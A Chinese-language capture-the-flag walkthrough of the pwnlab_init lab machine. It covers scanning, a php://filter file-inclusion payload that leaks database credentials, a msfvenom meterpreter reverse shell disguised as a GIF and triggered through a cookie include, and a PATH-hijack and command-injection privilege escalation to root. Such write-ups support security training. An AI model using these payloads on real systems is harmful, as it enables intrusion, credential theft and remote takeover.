pwnlab_init靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:pwnlab_init
平台:VMware Workstation 16.2
靶机为NAT
模式
一、信息搜集
1.IP扫描
nmap -sn 192.168.9.0/24
2.端口扫描
nmap -A -p- 192.168.9.147
端口开放情况如下
端口 | 服务 |
---|---|
80 | http |
111 | RPCbind |
3306 | mysql |
34323 | RPC |
3.目录扫描
访问其web
页面
先进行目录扫描
dirsearch -u http://192.168.9.147/
存在config.php
,推测该php
文件有可能为数据库连接配置文件
二、漏洞利用
1.漏洞挖掘
使用php
伪协议对config.php
进行读 取,构造POC
http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=config
得到base64
编码之后的文件内容,对内容进行解码
解码平台:CyberChef
解码后得到
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
得到数据库配置信息
用户名为root
,密码为H4u%QJ_H99
,结合端口扫描结果,mysql
的3306
端口为开放
可以尝试连接数据库
mysql -h 192.168.9.147 -uroot -p
成功进入数据库,开始对数据库进行信息搜集
存在information_schema
和Users
两个数据库
在Users
数据库中存在users
数据表,表中保存了3
个用户的用户名和密码,并且密码是通过base
编码的,尝试着解码
用户名 | 密码解码前 | 密码解码后 |
---|---|---|
kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy |
mike | U0lmZHNURW42SQ== | SIfdsTEn6I |
kane | aVN2NVltMkdSbw== | iSv5Ym2GRo |
随便使用一个用户进行登录,登录进去之后可以进行文件上传
2.webshell
用msfvenom
生成木马
msfvenom -p php/meterpreter_reverse_tcp lhost=172.20.133.136 lport=9999 -e -f raw > msfshell.php
将该生成的木马添加GIF
文件头标识GIF89a
,并将木马文件后缀加上.gif
将该木马上传,上传之后得到该文件的路径
直接访问该文件并不能触发shell
反弹,先通过php
伪协议查看index.php
页面的源码
http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=index
index.php
源码为
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
代码审计之后,发现可以通过包含cookie
内容来上传文件,使用Burp Suite
抓包工具进行抓包,修改cookie
参数
在访问index.php
页面的时候对数据包进行拦截
在原有的cookie
之后添加上lang=../upload/b8964ab92deb1499fe399606a3c64d0f.gif
kali
启动msfconsole
,使用use exploit/multi/handler
模块,配置好lhost
、lport
和payload
之后直接run
然后Burp Suite
直接放包
成功拿到shell
3.提权
查看存在哪些用户
cat /etc/passwd
刚从数据库中找出的3
个用户都存在,并且多出john
用户,尝试使用数据库中的密码进行登录
经过测试,能成功登录的用户只有两个,分别是用户kent
和用户kane
,其中有信息利用价值的是用户kane
用户kane
家目录下存在一个名为msgmike
的文件,且所有者为mike
,所以当执行msgmike
时,是以mike
身份运行
当运行msgmike
后,会提示触发了cat
命令
可以通过去全局变量进行提权,当运行cat
命令的时候,因为全局变量的存在,cat
即为/bin/cat
,$PATH
指向了/bin/
就有一个思路,在具有可执行权限的路径下(/tmp
),伪造一个cat
文件,更改全局变量$PATH
重新指向到伪造的cat
文件,当运行该伪造cat
文件时,会触发一个新bash
会话,从而完成横向渗透
在tmp
目录下,进行伪造cat
文件
echo /bin/bash > cat
再对该伪造cat
文件进行最高权限赋权
chmod 777 cat
更改全局变量$PATH
指向
export PATH=/tmp:$PATH
回到kane
家目录,执行msgmike
成功拿到用户mike
查看mike
家目录下的文件
存在msg2root
文件,所有者为root
尝试执行msg2root
在Message for root:
后面输入id && /bin/sh
通过/bin/sh
新创建出一个会话
查看位于/root/flag.txt
,但不能直接输入cat /root/flag.txt
,因为刚刚修改了全局变量,cat
指向的时位于/tmp
下的伪造cat
文件,需要用最原始的方法调用cat
/bin/cat /root/flag.txt
即可得到flag
值